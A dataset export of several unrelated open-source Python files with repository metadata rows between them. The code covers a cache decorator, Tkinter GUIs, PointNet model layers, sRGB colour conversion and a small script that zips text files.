if len(cache) == maxsize:
for k, _ in nsmallest(maxsize // 10 or 1,
use_count.items(),
key=itemgetter(1)):
del cache[k], use_count[k]
cache[key] = user_function(key, *args, **kwargs)
result = cache[key]
# result = user_function(obj, key, *args, **kwargs)
finally:
use_count[key] += 1
return result
def clear():
cache.clear()
use_count.clear()
def delete(key):
try:
del cache[key]
del use_count[key]
except KeyError:
return False
else:
return True
wrapper.clear = clear
wrapper.cache = cache
wrapper.delete = delete
return wrapper
return decorating_function
def twolvl_iterator(d):
for k, v in d.items():
for kk, vv in v.items():
yield k, kk, vv
def cache2lvl(maxsize=100):
"""
modified version of http://code.activestate.com/recipes/498245/
"""
def decorating_function(user_function):
cache = {}
use_count = defaultdict(Counter)
@functools.wraps(user_function)
def wrapper(*args, **kwargs):
# return user_function(*args, **kwargs)
try:
result = cache[args[0]][args[1]]
except KeyError:
if wrapper.cache_size == maxsize:
to_delete = maxsize // 10 or 1
for k1, k2, v in nsmallest(to_delete,
twolvl_iterator(use_count),
key=itemgetter(2)):
del cache[k1][k2], use_count[k1][k2]
if not cache[k1]:
del cache[k1]
del use_count[k1]
wrapper.cache_size -= to_delete
result = user_function(*args, **kwargs)
try:
cache[args[0]][args[1]] = result
except KeyError:
cache[args[0]] = {args[1]: result}
wrapper.cache_size += 1
finally:
use_count[args[0]][args[1]] += 1
return result
def clear():
cache.clear()
use_count.clear()
def delete(key, inner_key=None):
if inner_key is not None:
try:
del cache[key][inner_key]
del use_count[key][inner_key]
if not cache[key]:
del cache[key]
del use_count[key]
wrapper.cache_size -= 1
except KeyError:
return False
else:
return True
else:
try:
wrapper.cache_size -= len(cache[key])
del cache[key]
del use_count[key]
except KeyError:
return False
else:
return True
wrapper.clear = clear
wrapper.cache = cache
wrapper.delete = delete
wrapper.cache_size = 0
return wrapper
return decorating_function
| [
"nickmasster@users.noreply.github.com"
] | nickmasster@users.noreply.github.com |
b48f59ebc354e2761feb2ffecbad00c83bf5cb19 | d7ef079b36a0a6cd0b72fd8358c3ccd8865ed9f1 | /eggs/collective.dexteritytextindexer-2.1.1-py2.7.egg/collective/dexteritytextindexer/interfaces.py | 3a4572203a5b461abf06158dbe0246809ebe53e6 | [] | no_license | vcabral19/productsgovit | 8e7d104645d9c49b6502a44c640c7fef11bbb9fb | 1a1f7321573d031e872a358f4c3510af2c05564d | refs/heads/master | 2020-06-21T16:33:46.235438 | 2016-11-28T18:12:24 | 2016-11-28T18:12:24 | 74,784,667 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,055 | py | """
IDexterityTextIndexFieldConverter field converter adapter interface
IDynamicTextIndexExtender dynmaic text extender adapter interface
"""
from zope.interface import Interface
# Supermodel namespace and prefix
INDEXER_NAMESPACE = 'http://namespaces.plone.org/supermodel/indexer'
INDEXER_PREFIX = 'indexer'
class IDexterityTextIndexFieldConverter(Interface):
"""Interface for a multi-adapter which converts the field value of the
adapted field into a human readable, translated text for indexing in
the searchable text index.
"""
def __init__(self, context, field, widget):
"""The multi-adpater adapts the context, the field and the widget.
"""
def convert(self):
"""Returns a string containing the words to index. Translatable
Message-objects are already translated into normal strings. On a
multi-language site the
"""
class IDynamicTextIndexExtender(Interface):
"""Adapter interface for a named adapter which extends the dynamic
text indexer.
"""
| [
"d828642@rede.sp"
] | d828642@rede.sp |
1f165e08bb32294432aea68701e20b41b358efda | 9574f7aa773e6b81377a26cb54d0860b0c985f76 | /dxf/dxf_test.py | 6ca76676d40691f9c42cbf7b6c590f6f61324c86 | [] | no_license | ghilesdev/python | 75fd8825669d1e8a63536f3020e10a65e317924a | 3c2a98551900df2cb2b17d0df47b083e06bbc747 | refs/heads/master | 2020-12-20T05:56:00.207569 | 2020-02-17T23:08:29 | 2020-02-17T23:08:29 | 235,982,126 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 732 | py | import dxfgrabber
import matplotlib.pyplot as plt
dxf = dxfgrabber.readfile("1.dxf")
# an example on how to access the coordinates of a point found by the variable explorer
# print(dxf.blocks._blocks['0']._entities[0].points[0])
# extracting the shapes as list
shapes = [shape for shape in dxf.blocks._blocks]
# creating shapes dict from the list above
entities = {k: dxf.blocks._blocks[k] for k in shapes}
# dict of all shapes with their coordinates
all_entities = {k: dxf.blocks._blocks[k]._entities[0].points for k in entities}
X = []
Y = []
print(all_entities)
for k, v in all_entities.items():
print(len(v))
for i in range(len(v)):
X.append(v[i][0])
Y.append(v[i][1])
plt.plot(X, Y)
plt.show()
| [
"20175872@etud.univ-evry.fr"
] | 20175872@etud.univ-evry.fr |
1850c2a05a3509bc0adbc3fd4c4990cea20653f7 | d2220846ac6c61ea5fa7a11bf24d058bfb296e68 | /chord_practice.py | 7618ab892486cfaaac2c3691e275fd59616ad11e | [] | no_license | PNeigel/Chord-Practice | 0480baa9cf94bc1de82fdc3e2aee9ede39b3837f | 3013bcab620368a5cf96d9756a7158b84c11c46d | refs/heads/master | 2021-01-19T20:27:10.492072 | 2017-04-17T12:54:20 | 2017-04-17T12:54:20 | 88,507,127 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,772 | py | import graphics as g
import time as time
import numpy as np
rootdict = {0 : "A",
1 : "B",
2 : "C",
3 : "D",
4 : "E",
5 : "F",
6 : "G",
}
intonationdict = {0: "",
1: "b",
2: "#"
}
modedict = {0: "",
1: "-"
}
class ChordPractice:
def __init__(self):
# Create Window
self.win = g.GraphWin("Chord Practice", 500, 500)
# Form to enter Beats per Minute
self.form_bpm = g.Entry(g.Point(370, 50), 5)
self.form_bpm.setText("12") # Init as 12
self.form_bpm.draw(self.win)
self.bpm = 12
# Label for bpm
self.label_bpm = g.Text(g.Point(180, 50), "Beats per minute")
self.label_bpm.draw(self.win)
# Root Note Display
self.root = g.Text(g.Point(240, 250), rootdict[0])
self.root.draw(self.win)
self.root.setSize(36)
# Intonation Display
self.intonation = g.Text(g.Point(270, 240), "b")
self.intonation.setSize(30)
self.intonation.draw(self.win)
# Mode Display
self.mode = g.Text(g.Point(270, 260), "-")
self.mode.setSize(36)
self.mode.draw(self.win)
# Seven alterations
self.seven = g.Text(g.Point(308, 233), "7")
self.seven.setSize(18)
# Alteration Symbols to draw
self.maj = g.Polygon(g.Point(285, 240), g.Point(300, 240), g.Point(292.5, 225))
self.diminished = g.Circle(g.Point(292.5, 232.5), 7)
self.halfdim = g.Line(g.Point(285, 240), g.Point(301, 224))
self.sevendrawn = False
self.dimdrawn = False
self.halfdimdrawn = False
self.majdrawn = False
def undrawSevens(self):
if self.sevendrawn:
self.seven.undraw()
self.sevendrawn = False
if self.dimdrawn:
self.diminished.undraw()
self.dimdrawn = False
if self.halfdimdrawn:
self.halfdim.undraw()
self.halfdimdrawn = False
if self.majdrawn:
self.maj.undraw()
self.majdrawn = False
def programLoop(self):
time1 = time.time()
while self.win.isOpen():
time2 = time.time()
self.win.checkMouse()
# Get new BPM, accept only numbers
try:
self.bpm = float(self.form_bpm.getText())
except ValueError:
self.form_bpm.setText(self.bpm)
delay = 60.0/self.bpm
if (time2 - time1 >= delay):
self.undrawSevens()
# Probabilities
# 7 Chords: Major, Major Norm. 7, Major maj. 7, Minor, Minor 7, Diminished, Half Diminished
p_minor = 2 / 7.0 # 2 Out of 7 Chords are minor
p_minor_seven = 0.5 # If it's minor, with 50% it's minor seven
p_maj_seven = 2 / 5.0 # If it's not minor, 2 out 5 5 chords have a seven
p_maj_majseven = 0.5 # If it's a major chord with a seven, with 50% it's a maj. seven
p_dim = 2 / 3.0 # If it's not a seven, with 2/3 it's either diminished or half diminished
p_hdim = 0.5 # If it's diminished, it's either diminished or half diminished
# Set root note, intonation and mode randomly from dictionaries
self.root.setText(rootdict[np.random.randint(7)])
self.intonation.setText(intonationdict[np.random.randint(3)])
self.mode.setText(modedict[np.random.choice([0, 1], p=[1-p_minor, p_minor])])
# Minor
if (self.mode.getText() == "-"):
if np.random.rand() < p_minor_seven:
self.seven.draw(self.win)
self.sevendrawn = True
else:
# Major
if (np.random.rand() < p_maj_seven):
self.seven.draw(self.win)
self.sevendrawn = True
if np.random.rand() < p_maj_majseven:
self.maj.draw(self.win)
self.majdrawn = True
elif (np.random.rand() < p_dim):
self.diminished.draw(self.win)
self.dimdrawn = True
if np.random.rand() < p_hdim:
self.halfdim.draw(self.win)
self.halfdimdrawn = True
time1 = time2
if __name__ == "__main__":
chordpractice = ChordPractice()
chordpractice.programLoop() | [
"noreply@github.com"
] | noreply@github.com |
4849689a602c195a848d7607e85a8f20df5a0537 | 53eead261d199fa15792539596b8b921d2841743 | /assess/q9.py | dd18b9b9d21b69dcd6db4680426702d4fdd7e9a0 | [] | no_license | Pratish1995/repoo | 9d594e8e93de53e4e8bb12e4e400fb7d3630b65e | 2f31e71f09d554ca3275d98a2e50508546cf05a9 | refs/heads/master | 2020-12-02T08:05:32.982899 | 2017-07-18T14:14:06 | 2017-07-18T14:14:06 | 96,767,724 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 480 | py | import re
def validate(s):
x = True
while x:
if (len(p)<6 or len(p)>12):
break
elif not re.search("[a-z]",s):
break
elif not re.search("[0-9]",s):
break
elif not re.search("[A-Z]",s):
break
elif not re.search("[$#@]",s):
break
else:
print("Valid Password")
x=False
break
if x:
print("Not a Valid Password")
print("Enter The Password:")
p= raw_input()
validate(p) | [
"pratish.jain@quantiphi.com"
] | pratish.jain@quantiphi.com |
51a5067c854b3664f8ea3cae774a82ffda609903 | a5a99f646e371b45974a6fb6ccc06b0a674818f2 | /RecoBTag/PerformanceDB/python/PoolBTagPerformanceDBMC36X.py | 51f9ad82857168c4520d2aadbf7b5b494f03b156 | [
"Apache-2.0"
] | permissive | cms-sw/cmssw | 4ecd2c1105d59c66d385551230542c6615b9ab58 | 19c178740257eb48367778593da55dcad08b7a4f | refs/heads/master | 2023-08-23T21:57:42.491143 | 2023-08-22T20:22:40 | 2023-08-22T20:22:40 | 10,969,551 | 1,006 | 3,696 | Apache-2.0 | 2023-09-14T19:14:28 | 2013-06-26T14:09:07 | C++ | UTF-8 | Python | false | false | 112 | py | from RecoBTag.PerformanceDB.measure.Pool_pf36 import *
from RecoBTag.PerformanceDB.measure.Pool_calo36 import *
| [
"giulio.eulisse@gmail.com"
] | giulio.eulisse@gmail.com |
20ee34ee4d0b9896e8438c78886f307f126cded3 | 1980c3846af58e7c0d722cf3259f5b92f4675933 | /Python/multipageSettings.py | 42a73d3008e83ad09b76166d2c06ec5879e666d9 | [] | no_license | MartiniDesignz/Wrestling-Glove | b3b40ef9cf1652bf72f75d8af93fe03a75b1327c | b89396885d20bf7194146c0d8d8472f4a9dd7062 | refs/heads/master | 2020-04-19T14:27:28.601251 | 2020-02-14T15:56:25 | 2020-02-14T15:56:25 | 168,245,198 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,851 | py | import tkinter
from tkinter import*
import ctypes#try to utilize***************************************************************************************************************************************************
#creating the window
win = tkinter.Tk()
#modify the window
win.title("REFtech settings")#creating the main window
win.geometry("400x600")#Setting the size
#create base frames
frame = Frame(win, bg="Black")#creating the background frame
frame.place(height=600, width=400, x=0, y=0)#placeing it
onload = Frame(frame, height=350, width=380, bg="Grey")#create the onload page frame
onload.place( x=10, y=40)
Settings = Frame(frame, bg="Grey")#create the Settings frame
Settings.place(x=10, y=40)
Settings.config(height=0, width=0)
FirstCon = Frame(frame, bg ="Grey")
FirstCon.place(x=10, y=40)
FirstCon.config(width = 0, height = 0)
changeName = Frame(frame, bg ="Grey")
changeName.place(x=10, y=40)
changeName.config(width = 0, height = 0)
#testing***************************testing**************
#contents of onload frame****************************BREAK***********************8
PressEnterTXT = Label(onload, width = 40, height= 10, bg = "grey", fg = "white", text = "Press Enter to continue", font=30)#creating the text
PressEnterTXT.place(x=10, y=80)#placing it
flashValue = True
flashInt = 1
def FlashingTxt():
global flashInt #number of times this function ran
global flashValue # whether the function shoul run or not
flashInt = flashInt + 1 #adds one every time this function runs
if(flashInt%2 == 0):
PressEnterTXT.config(fg = "grey")#hides the text
else:
PressEnterTXT.config( fg = "white")#shows the text
if (flashValue == True):
win.after(500, FlashingTxt)#repeat function every half second
else:
PressEnterTXT.config(fg = "grey")#hides the text
FlashingTxt()#initialy starts the function
#contents of Settings frame****************************BREAK***********************
ChangeNameBtn = Button(Settings, width = 12, height = 2, bg = "white", fg="black", text = "Change Name")#adding the connect button to the Settings frame
ChangeNameBtn.place(x=20, y = 70)
ChangeNameBtnLoc = 1, 1
GenBtn = Button(Settings, width = 12, height = 2, bg = "white", fg="black", text = "General Settings")#adding the connect button to the Settings frame
GenBtn.place(x=120, y = 70)
GenBtnLoc = 1, 2
UnknowBtn = Button(Settings, width = 12, height = 2, bg = "white", fg="black", text = "Unknown")#adding the connect button to the Settings frame
UnknowBtn.place(x=220, y = 70)
UnknowBtnLoc = 1, 3
ConnectBtn = Button(Settings, width = 12, height = 2, bg = "white", fg="black", text = "Connect")#adding the connect button to the Settings frame
ConnectBtn.place(x=20, y = 270)
ConBtnLoc = 2, 1
ChangeBtn = Button(Settings, width = 12, height = 2, bg = "white", fg="black", text = "Change")#adding the connect button to the Settings frame
ChangeBtn.place(x=120, y = 270)
ChaBtnLoc = 2, 2
GenSetBtn = Button(Settings, width = 12, height = 2, bg = "white", fg="black", text = "Settings")#adding the connect button to the Settings frame
GenSetBtn.place(x=220, y = 270)
GenSetBtnLoc = 2, 3
#contents of change name page**************************************************************break*********************
Name = "default"
NameInput = Entry(changeName, bd = 5, exportselection=0, textvariable = Name)
NameInput.place(x=175, y=190)
def checkName():
global Name
Name = NameInput.get()
print (Name)
ChangeNameEnter = Button(changeName, width = 5, height = 2, bg = "white", fg = "black", text = "Enter", command = checkName)
ChangeNameEnter.place(x=40, y= 50)
changeNameBack = Button(changeName, width = 8, height = 2, bg = "white", fg = "black", text = "Back" )
#contents of First connect page *************************************************Break******************
#creating the label
rolling = Label(FirstCon, bg = "grey", fg = "white", width = 43, text = "hello", font = 30)
rolling.place(x=0, y=155)
#create the canvas
canTop = Canvas (FirstCon, bd = 0, height = 0, width = 380)
canTop. place(y=170, x=0)
canBot = Canvas (FirstCon, bd = 0, height = 0, width = 380)
canBot. place(y=200, x=0)
#the actual function
devFoundNum = 3
devFound = "Device_1" "\n" "\n" "\n" "Device_2" "\n" "\n" "\n" "Device_3"
rollInt = 1
def selecting():
global devFound
global rollInt
global devFoundNum
posRoll = rollInt * 50 - 50
rollingHeight = devFoundNum * 5
rolling.config(height = rollingHeight, text = devFound)
print(rollInt)
rolling.place(y=posRoll)
selecting()
#PAGE functions
Frame = "Onload"
MaxRow = 0
MaxCol = 0
def onloadFunc():# function that sets page value
global Frame
Frame = "Onload"
AllPageFunction(Frame)
def SettingsPageFunc():# function that sets page value
global Frame
Frame = "Settings"
AllPageFunction(Frame)
def FirstConectFunc():#func that sets the page value to the 1st connect Page
global Frame
Frame = "FirstCon"
AllPageFunction(Frame)
def changeNameFunc():#func that sets the page value to change name
global Frame
Frame = "changeName"
ChangeNameBtn.invoke()
def AllPageFunction(frameIn): #creating the function that opens the frame for the current page
global Frame
global MaxRow
global MaxCol
if (frameIn == "Onload"):
onload.config(height=350, width=380)
else:
onload.config(height=0, width=0)
if (frameIn == "Settings"):
Settings.config(height=350, width=380)
MaxRow = 3
MaxCol = 2
else:
Settings.config(height=0, width=0)
if(frameIn == "FirstCon"):
FirstCon.config(height = 350, width = 380)
MaxRow = 3
MaxCol = 1
else:
FirstCon.config(height = 0, width = 0)
if(frameIn == "changeName"):
changeName.config( height = 350, width = 380)
MaxRow = 3
MaxCol = 1
else:
changeName.config(width = 0, height = 0)
onloadFunc()#sets the initial page
#creating the functions for the buttons
RowInt = 1
ColInt = 1
def hover(obj):#the func that changes color of the btns
obj.config(bg = "grey")
def norm(obj):
obj.config(bg = "White")
Loc = 0
def findLoc():#determing witch btn is being hovered over
global RowInt
global ColInt
global Frame
global ConBtnLoc
global ChaBtnLoc
global GenSetBtnLoc
global ChangeNameBtnLoc
global GenBtnLoc
global UnknowBtnLoc
global Loc
Loc = ColInt, RowInt
#settings page************
if(ChangeNameBtnLoc == Loc):
hover(ChangeNameBtn)
else:
norm(ChangeNameBtn)
#****
if(GenBtnLoc == Loc):
hover(GenBtn)
else:
norm(GenBtn)
#****
if(UnknowBtnLoc == Loc):
hover(UnknowBtn)
else:
norm(UnknowBtn)
#****
if(ConBtnLoc == Loc):
hover(ConnectBtn)
else:
norm(ConnectBtn)
#****
if(ChaBtnLoc == Loc):
hover(ChangeBtn)
else:
norm(ChangeBtn)
#****
if(GenSetBtnLoc == Loc):
hover(GenSetBtn)
else:
norm(GenSetBtn)
print(Loc)
#Enter Pressed ****************************** Enter ***************************
def EnterPressed():#controls what happens when the enter butten is pressed
global flashValue
global Frame
if (Frame == "Onload"):#hides the first frame, the onload frame
flashValue = False
Frame = "Settings"
AllPageFunction(Frame)
if (Frame == "Settings"):
print("hello")
if(ConBtnLoc == Loc):
FirstConectFunc()
if(ChangeNameBtnLoc == Loc):
changeNameFunc()
#Enter Pressed ****************************** Enter ***************************
def AddRow():#Adds to the row in when right btn is clicked
global MaxRow
global RowInt
if(MaxRow > RowInt):#makes sure that the row int cant go higher than the max row int set for that page
RowInt = RowInt + 1
findLoc()
def SubRow(): #Subs from the row int when the left btn is clicked
global RowInt
if(1<RowInt):#makes sure that the row int can't be less than 1
RowInt = RowInt - 1
findLoc()
def AddCol():#adds to the Col int when the down btn is clicked
global MaxCol
global ColInt
global Frame
global devFoundNum
global rollInt
if(Frame == "Settings"):
if(MaxCol > ColInt):#makes sure that the col int cant go higher than the amount of cols that the page has
ColInt = ColInt + 1
findLoc()
if(Frame == "FirstCon"):
if(1 < rollInt):
rollInt = rollInt - 1
selecting()
def SubCol(): #adds to the Col int when the down btn is clicked
global ColInt
global Frame
global rollInt
if(Frame == "Settings"):
if(1<ColInt):#makes sure that the col int cant be less than 1
ColInt = ColInt - 1
findLoc()
if(Frame == "FirstCon"):
if(devFoundNum > rollInt):
rollInt = rollInt + 1
selecting()
#create the digital buttons later to be converted into analog
upBtn = Button(frame, text = "Up", bg = "grey", fg = "white", command = SubCol)
upBtn.place(x=10, y=460, width = 190, height = 50)
DownBtn = Button(frame, text = "Down", bg = "grey", fg = "white", command = AddCol)
DownBtn.place(x=200, y=460, width = 190, height = 50)
LeftBtn = Button(frame, text = "Left", bg = "grey", fg = "white", command = SubRow)
LeftBtn.place(x=10, y=410, width = 190, height = 50)
RightBtn = Button(frame, text = "Right", bg = "grey", fg = "white", command = AddRow)
RightBtn.place(x=200, y=410, width = 190, height = 50)
EnterBtn = Button(frame, text = "Enter", bg = "grey", fg = "white", command = EnterPressed)
EnterBtn.place(x=10, y=510, width = 380, height = 50)
#create main loop
win.mainloop()
| [
"marti2rj@mail.uc.edu"
] | marti2rj@mail.uc.edu |
038fbd532f9fd4dbb174c02e9e979f5807987c8e | 9cbe84017abd74dd4863c60c3438420aeaa4cb5b | /OcCo_Torch/models/pointnet_util.py | 223edb2e5970e591f491deb0d0fde065371aadb5 | [
"MIT"
] | permissive | zebrajack/OcCo | 3c7be8e4c46b61e0899c533c5c101dad56127a3f | c218a2bb446f91702cf8fa6f56bb3a1da406009f | refs/heads/master | 2023-04-30T08:15:48.189980 | 2020-12-29T10:49:21 | 2020-12-29T10:49:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,576 | py | # Copyright (c) 2020. Hanchen Wang, hw501@cam.ac.uk
# Ref: https://github.com/fxia22/pointnet.pytorch/pointnet/model.py
import torch, torch.nn as nn, numpy as np, torch.nn.functional as F
from torch.autograd import Variable
def feature_transform_regularizer(trans):
d = trans.size()[1]
I = torch.eye(d)[None, :, :]
if trans.is_cuda:
I = I.cuda()
loss = torch.mean(torch.norm(torch.bmm(trans, trans.transpose(2, 1) - I), dim=(1, 2)))
return loss
# STN -> Spatial Transformer Network
class STN3d(nn.Module):
def __init__(self, channel):
super(STN3d, self).__init__()
self.conv1 = nn.Conv1d(channel, 64, 1) # in-channel, out-channel, kernel size
self.conv2 = nn.Conv1d(64, 128, 1)
self.conv3 = nn.Conv1d(128, 1024, 1)
self.fc1 = nn.Linear(1024, 512)
self.fc2 = nn.Linear(512, 256)
self.fc3 = nn.Linear(256, 9)
self.relu = nn.ReLU()
self.bn1 = nn.BatchNorm1d(64)
self.bn2 = nn.BatchNorm1d(128)
self.bn3 = nn.BatchNorm1d(1024)
self.bn4 = nn.BatchNorm1d(512)
self.bn5 = nn.BatchNorm1d(256)
def forward(self, x):
B = x.size()[0]
x = F.relu(self.bn1(self.conv1(x)))
x = F.relu(self.bn2(self.conv2(x)))
x = F.relu(self.bn3(self.conv3(x)))
x = torch.max(x, 2, keepdim=False)[0] # global descriptors
x = F.relu(self.bn4(self.fc1(x)))
x = F.relu(self.bn5(self.fc2(x)))
x = self.fc3(x)
iden = Variable(torch.from_numpy(np.eye(3).flatten().astype(np.float32))).view(1, 9).repeat(B, 1)
if x.is_cuda:
iden = iden.cuda()
x = x + iden
x = x.view(-1, 3, 3)
return x
class STNkd(nn.Module):
def __init__(self, k=64):
super(STNkd, self).__init__()
self.conv1 = nn.Conv1d(k, 64, 1)
self.conv2 = nn.Conv1d(64, 128, 1)
self.conv3 = nn.Conv1d(128, 1024, 1)
self.fc1 = nn.Linear(1024, 512)
self.fc2 = nn.Linear(512, 256)
self.fc3 = nn.Linear(256, k * k)
self.relu = nn.ReLU()
self.bn1 = nn.BatchNorm1d(64)
self.bn2 = nn.BatchNorm1d(128)
self.bn3 = nn.BatchNorm1d(1024)
self.bn4 = nn.BatchNorm1d(512)
self.bn5 = nn.BatchNorm1d(256)
self.k = k
def forward(self, x):
B = x.size()[0]
x = F.relu(self.bn1(self.conv1(x)))
x = F.relu(self.bn2(self.conv2(x)))
x = F.relu(self.bn3(self.conv3(x)))
x = torch.max(x, 2, keepdim=False)[0]
x = F.relu(self.bn4(self.fc1(x)))
x = F.relu(self.bn5(self.fc2(x)))
x = self.fc3(x)
iden = Variable(torch.from_numpy(np.eye(self.k).flatten().astype(np.float32))).view(
1, self.k ** 2).repeat(B, 1)
if x.is_cuda:
iden = iden.cuda()
x = x + iden
x = x.view(-1, self.k, self.k)
return x
class PointNetEncoder(nn.Module):
def __init__(self, global_feat=True, feature_transform=False,
channel=3, detailed=False):
# when input include normals, it
super(PointNetEncoder, self).__init__()
self.stn = STN3d(channel) # Batch * 3 * 3
self.conv1 = nn.Conv1d(channel, 64, 1)
self.conv2 = nn.Conv1d(64, 128, 1)
self.conv3 = nn.Conv1d(128, 1024, 1)
self.bn1 = nn.BatchNorm1d(64)
self.bn2 = nn.BatchNorm1d(128)
self.bn3 = nn.BatchNorm1d(1024)
self.global_feat = global_feat
self.feature_transform = feature_transform
if self.feature_transform:
self.fstn = STNkd(k=64)
self.detailed = detailed
def forward(self, x):
_, D, N = x.size() # Batch Size, Dimension of Point Features, Num of Points
trans = self.stn(x)
x = x.transpose(2, 1)
if D > 3:
# pdb.set_trace()
x, feature = x.split([3, D-3], dim=2)
x = torch.bmm(x, trans)
# feature = torch.bmm(feature, trans) # feature -> normals
if D > 3:
x = torch.cat([x, feature], dim=2)
x = x.transpose(2, 1)
out1 = self.bn1(self.conv1(x))
x = F.relu(out1)
if self.feature_transform:
trans_feat = self.fstn(x)
x = x.transpose(2, 1)
x = torch.bmm(x, trans_feat)
x = x.transpose(2, 1)
else:
trans_feat = None
pointfeat = x
out2 = self.bn2(self.conv2(x))
x = F.relu(out2)
out3 = self.bn3(self.conv3(x))
# x = self.bn3(self.conv3(x))
x = torch.max(out3, 2, keepdim=False)[0]
if self.global_feat:
return x, trans, trans_feat
elif self.detailed:
return out1, out2, out3, x
else: # concatenate global and local feature together
x = x.view(-1, 1024, 1).repeat(1, 1, N)
return torch.cat([x, pointfeat], 1), trans, trans_feat
class PointNetPartSegEncoder(nn.Module):
def __init__(self, feature_transform=True, channel=3):
super(PointNetPartSegEncoder, self).__init__()
self.stn = STN3d(channel)
self.conv1 = nn.Conv1d(channel, 64, 1)
self.conv2 = nn.Conv1d(64, 128, 1)
self.conv3 = nn.Conv1d(128, 128, 1)
self.conv4 = nn.Conv1d(128, 512, 1)
self.conv5 = nn.Conv1d(512, 2048, 1)
self.bn1 = nn.BatchNorm1d(64)
self.bn2 = nn.BatchNorm1d(128)
self.bn3 = nn.BatchNorm1d(128)
self.bn4 = nn.BatchNorm1d(512)
self.bn5 = nn.BatchNorm1d(2048)
self.feature_transform = feature_transform
if self.feature_transform:
self.fstn = STNkd(k=128)
def forward(self, point_cloud, label):
B, D, N = point_cloud.size()
trans = self.stn(point_cloud)
point_cloud = point_cloud.transpose(2, 1)
if D > 3:
point_cloud, feature = point_cloud.split(3, dim=2)
point_cloud = torch.bmm(point_cloud, trans)
if D > 3:
point_cloud = torch.cat([point_cloud, feature], dim=2)
point_cloud = point_cloud.transpose(2, 1)
out1 = F.relu(self.bn1(self.conv1(point_cloud)))
out2 = F.relu(self.bn2(self.conv2(out1)))
out3 = F.relu(self.bn3(self.conv3(out2)))
if self.feature_transform:
trans_feat = self.fstn(out3)
net_transformed = torch.bmm(out3.transpose(2, 1), trans_feat)
out3 = net_transformed.transpose(2, 1)
out4 = F.relu(self.bn4(self.conv4(out3)))
out5 = self.bn5(self.conv5(out4))
out_max = torch.max(out5, 2, keepdim=False)[0]
out_max = torch.cat([out_max, label.squeeze(1)], 1)
expand = out_max.view(-1, 2048 + 16, 1).repeat(1, 1, N)
concat = torch.cat([expand, out1, out2, out3, out4, out5], 1)
if self.feature_transform:
return concat, trans_feat
return concat
class encoder(nn.Module):
def __init__(self, num_channel=3, **kwargs):
super(encoder, self).__init__()
self.feat = PointNetEncoder(global_feat=True, channel=num_channel)
def forward(self, x):
feat, _, _ = self.feat(x)
return feat
class detailed_encoder(nn.Module):
def __init__(self, num_channel=3, **kwargs):
super(detailed_encoder, self).__init__()
self.feat = PointNetEncoder(global_feat=False,
channel=num_channel,
detailed=True)
def forward(self, x):
out1, out2, out3, x = self.feat(x)
return out1, out2, out3, x | [
"hc.wang96@gmail.com"
] | hc.wang96@gmail.com |
30fdaa673e08045fe54909f77171751270ba426c | 59f07c3719ad16cb042313b0af3ec131cee9a804 | /mop/utils/colorspace.py | 9eda7efa99173b741d3d6a64f36c5a0432ab06bb | [
"MIT"
] | permissive | fsanges/master-of-puppets | 2cb2d70a1be957fe4fe32227981e2a1644102b45 | dc464021c7e69975fa9fcc06595cc91113768e5e | refs/heads/master | 2022-02-13T19:21:41.198808 | 2019-08-13T22:32:22 | 2019-08-13T22:32:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,151 | py | #
# sRGB transform (Python 2, 3)
#
# Copyright (c) 2017 Project Nayuki. (MIT License)
# https://www.nayuki.io/page/srgb-transform-library
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
#
def srgb_to_linear(x):
if x <= 0.0:
return 0.0
elif x >= 1:
return 1.0
elif x < 0.04045:
return x / 12.92
else:
return ((x + 0.055) / 1.055) ** 2.4
def srgb_8bit_to_linear(x):
if (x >> 8) != 0:
raise ValueError("Value out of 8-bit range")
return _SRGB_8BIT_TO_LINEAR[x]
def linear_to_srgb(x):
if x <= 0.0:
return 0.0
elif x >= 1:
return 1.0
elif x < 0.0031308:
return x * 12.92
else:
return x ** (1.0 / 2.4) * 1.055 - 0.055
def linear_to_srgb_8bit(x):
if x <= 0.0:
return 0
table = _SRGB_8BIT_TO_LINEAR
if x >= 1.0:
return len(table) - 1
y = 0
i = len(table) >> 1
while i != 0:
if table[y | i] <= x:
y |= i
i >>= 1
return y if (x - table[y] <= table[y + 1] - x) else (y + 1)
_SRGB_8BIT_TO_LINEAR = [srgb_to_linear(i / 255.0) for i in range(256)]
| [
"alexy.long@orange.fr"
] | alexy.long@orange.fr |
b2bbfca51ce7febdc808a2023a68a3bf117e73a0 | a3711b7c951665fb9d52ce6d492e1b24e6b49bf0 | /Automation/zippedFileCreator.py | 9c96949405b5d619d796b7ebca70aa8606b53567 | [] | no_license | Halcyon312/AdvancedPythonTraining | 72e1da4ec4c58a08273dc1bb0345f929993695e6 | 412b3073644baecb4ba0d0279097ad4594e38231 | refs/heads/master | 2023-08-03T18:58:00.064724 | 2023-06-13T20:43:10 | 2023-06-13T20:43:10 | 279,341,839 | 0 | 0 | null | 2020-07-13T15:31:24 | 2020-07-13T15:31:23 | null | UTF-8 | Python | false | false | 855 | py | import os
from zipfile import ZipFile
from time import sleep
def main():
# Get directory of this script.
#dirPath = path.dirname(path.realpath(__file__))
dirPath = os.getcwd()
print(dirPath)
numFilesToCreate = 10
createFiles(numFilesToCreate)
sleep(2)
zipFiles(dirPath)
def createFiles(numFiles):
""" Creates specified number of .txt files. """
for file in range(numFiles):
filename = f'file_{file}.txt'
with open(filename, "w") as fObj:
fObj.write(f'This is the file named {filename}!')
def zipFiles(dirPath):
for file in os.listdir(dirPath):
if file.endswith(".txt"):
filename = f"{file[:-4]}.zip"
with ZipFile(filename, "w") as zip:
zip.write(f"{file}")
os.remove(f"{file}")
if __name__ == "__main__":
main() | [
"zspink@nea.k12.ar.us"
